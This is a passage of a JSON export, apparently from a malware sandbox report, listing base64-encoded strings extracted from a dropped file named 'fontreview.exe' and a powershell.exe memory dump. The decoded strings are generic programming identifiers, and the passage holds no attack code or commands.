File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50UGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50UHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50U2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50VG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V2ZW50V29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvbkJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvbkNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvbkRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvbkVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvblBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvblByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvblNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvblRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cHJlc3Npb25BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cHJlc3Npb25JdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cHJlc3Npb25Qb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cHJlc3Npb25SZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cHJlc3Npb25TcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cHJlc3Npb25Ub2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cHJlc3Npb25Xb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZUNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZUdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZVNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZVRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZVRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY2FkZVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY3RvcnlGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY3RvcnlQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY3RvcnlTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY3RvcnlTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY3RvcnlUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpbHRlckNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpbHRlckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpbHRlcklzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpbHRlck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpbHRlclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlckZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlck1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbEJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbERlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbEVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbEZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbEdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlckRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlcklzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlck1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlclBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlclBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlclNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lkZW50aWZpZXJTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVySXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9BZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9Db25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9GYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9GaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9Jc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9JdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9Qb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9TdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVySXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X2luaXR0ZXJt","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9ySXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVyY2VwdG9yVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVySXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludm9jYXRpb25BZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludm9jYXRpb25BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludm9jYXRpb25NYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludm9jYXRpb25NYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludm9jYXRpb25NZXJjaGFudA==","type":"Ansi","source":"Dropped 